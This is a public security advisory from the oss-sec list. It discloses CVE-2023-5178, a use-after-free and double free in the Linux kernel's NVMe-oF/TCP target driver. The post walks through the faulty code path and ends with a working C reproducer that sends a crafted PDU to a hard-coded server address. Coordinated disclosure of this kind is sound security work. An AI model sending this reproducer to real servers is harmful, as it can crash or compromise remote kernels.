oss-sec mailing list archives
CVE-2023-5178: Linux NVMe-oF/TCP Driver - UAF in `nvmet_tcp_free_crypto`
From: Alon Zahavi <zahavi.alon () gmail com>
Date: Sun, 15 Oct 2023 18:42:40 +0300
After disclosing the issue with the linux-distros mailing list and the maintainers of the NVMe-oF/TCP subsystem, I am reporting the security issue publicly here. The patch is at work and will be available soon. You may follow the patch here: https://lore.kernel.org/all/20231004173226.5992-1-sj () kernel org/T/ This vulnerability was assigned with CVE-2023-5178. ## Bug Summary: Due to a logical bug in the NVMe-oF/TCP subsystem in the Linux kernel, a malicious actor, with the ability to send messages to the NVMe-oF/TCP server (either LAN or WAN), can cause a UAF and a double free, which may lead to remote kernel code execution. ## Bug Location `drivers/nvme/target/tcp.c` in the function `nvmet_tcp_free_crypto`
From the introduction of NVMe-oF/TCP and up until the fix that would come.
## Technical Details ### In a few words: The function `nvmet_tcp_free_crypto` is called twice, thus freeing some pointers twice. Also, it dereferencing a freed address. ``` static void nvmet_tcp_free_crypto(struct nvmet_tcp_queue *queue) { struct crypto_ahash *tfm = crypto_ahash_reqtfm(queue->rcv_hash); ahash_request_free(queue->rcv_hash); ahash_request_free(queue->snd_hash); crypto_free_ahash(tfm); } ``` ### In More Details: ****** First Free ****** The NVMe/TCP subsystem uses a queue (`nvmet_tcp_queue`), in which it has two `struct ahash_request` fields (`rcv_hash` and `snd_hash`). Following is the `nvmet_tcp_handle_icreq()` function. ``` static int nvmet_tcp_handle_icreq(struct nvmet_tcp_queue *queue) { ... if (le32_to_cpu(icreq->hdr.plen) != sizeof(struct nvme_tcp_icreq_pdu)) { pr_err("bad nvme-tcp pdu length (%d)\n", le32_to_cpu(icreq->hdr.plen)); nvmet_tcp_fatal_error(queue); // [1] } ... if (queue->hdr_digest || queue->data_digest) { ret = nvmet_tcp_alloc_crypto(queue); // [2] if (ret) return ret; } ... ret = kernel_sendmsg(queue->sock, &msg, &iov, 1, iov.iov_len); // [3] if (ret < 0) goto free_crypto; // [4] ... free_crypto: if (queue->hdr_digest || queue->data_digest) nvmet_tcp_free_crypto(queue); // [5] return ret; } ``` [1] - In case the condition isn’t met, there is a call to `nvmet_tcp_fatal_error`, which in there a `kernel_sock_shutdown` operation is being called, to shut down the socket inside the NVMe queue. [2] - Afterwards, we allocate the crypto fields of the queue (`snd_hash` and `rcv_hash`). [3] - We try to send a message with the shut-downed socket, and when it fails we go to `free_crypto` label ([4]). [5] - We call `nvmet_tcp_free_crypto` for the first time. ****** Second Free ****** When the TCP session ends, the function `nvmet_tcp_release_queue_work` is called by the subsystem. ``` static void nvmet_tcp_release_queue_work(struct work_struct *w) { ... if (queue->hdr_digest || queue->data_digest) nvmet_tcp_free_crypto(queue); ... } ``` In that function, we call `nvmet_tcp_free_crypto` with the same queue from before thus triggering the bug. Looking back on the `nvmet_tcp_free_crypto` function we can see the following: 1. `struct crypto_ahash *tfm = crypto_ahash_reqtfm(queue->rcv_hash);` - The second call to the crypto free function will cause a dereferencing of a pointer from a freed object (UAF). That `tfm` variable will later use its `tfm->exit()` function pointer, thus leading to code execution. 2. `ahash_request_free(queue->rcv_hash);` - A double free of a `kmalloc-96` object, leading to memory corruption with undefined behaviour. Also, it may lead to kernel code execution with the proper exploitation 3. `ahash_request_free(queue->snd_hash);` - Same as the second bullet above. 4. `crypto_free_ahash(tfm);` - Here `tfm->exit()` is called. ## Reproducing ### Environment: Any Linux machine with NVMe-oF/TCP enabled (Linux version 5.15 and above). here is how to configure NVMe-of/TCP on the machine - https://www.linuxjournal.com/content/data-flash-part-iii-nvme-over-fabrics-using-tcp ### Execution: I am adding a reproducer generated by Syzkaller with some optimizations and minor changes. ``` #define _GNU_SOURCE #include <stdio.h> #include <stdint.h> #include <string.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> uint64_t r[1] = {0xffffffffffffffff}; void loop(void) { intptr_t res = 0; res = syscall(__NR_socket, /*domain=*/2ul, /*type=*/1ul, /*proto=*/0); if (res != -1) r[0] = res; *(uint16_t*)0x20000100 = 2; *(uint16_t*)0x20000102 = htobe16(0x1144); // Service port *(uint32_t*)0x20000104 = htobe32(0xc0a8eb8b); // Service IP syscall(__NR_connect, /*fd=*/r[0], /*addr=*/0x20000100ul, /*addrlen=*/0x10ul); memcpy((void*)0x20000240, "\x00\x08\x80\x5d\xe3\x00\x00\x00\x00\x00\x00\x02\x04\x09\x00\x00\x6f" "\x30\x0d\x02\xef\x84\x31\x0f\xc3\xab\xf2\xd4\x12\x9f\xab\x6a\x3c\x50" "\x84\x95\x9b\x43\x4e\x06\x22\xf9\x00\x8a\xd0\x8e\x92\x95\x5b\x99\x18" "\x28\xfb\xa9\x14\x12\x2d\xcb\x00\x65\x2b\x3f\x12\xf8\xf8\xd6\x0a\x80" "\x0d\x10\x36\xc1\x1a\x39\x46\x00\x00\x00\x00\x00\x00\x00\xed\x07\x1d" "\x37\xe4\xd0\xdf\x0d\x31\x2f\xfd\xaa\x1f\xbe\xe4\x8f\x72\x3d\xc5\x1b" "\x5a\x52\x07\x64\xcc\xbb\x0e\x65\xa7\xc1\x01\xbd\xed\x7e\xe2\x0b\xdc" "\x53\x13\xbd\xa7\xea\xea\x5f\xcc\xa1\x6e\x2e\xa4\x85\x99\x8b\x04\x21" "\x3e\x4c\x00\x00\x00\x00\x00\x00", 144); syscall(__NR_sendto, /*fd=*/r[0], /*pdu=*/0x20000240ul, /*len=*/0x80ul, /*f=*/0ul, /*addr=*/0ul, /*addrlen=*/0ul); } int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); loop(); return 0; } ```
Current thread:
- CVE-2023-5178: Linux NVMe-oF/TCP Driver - UAF in `nvmet_tcp_free_crypto` Alon Zahavi (Oct 15)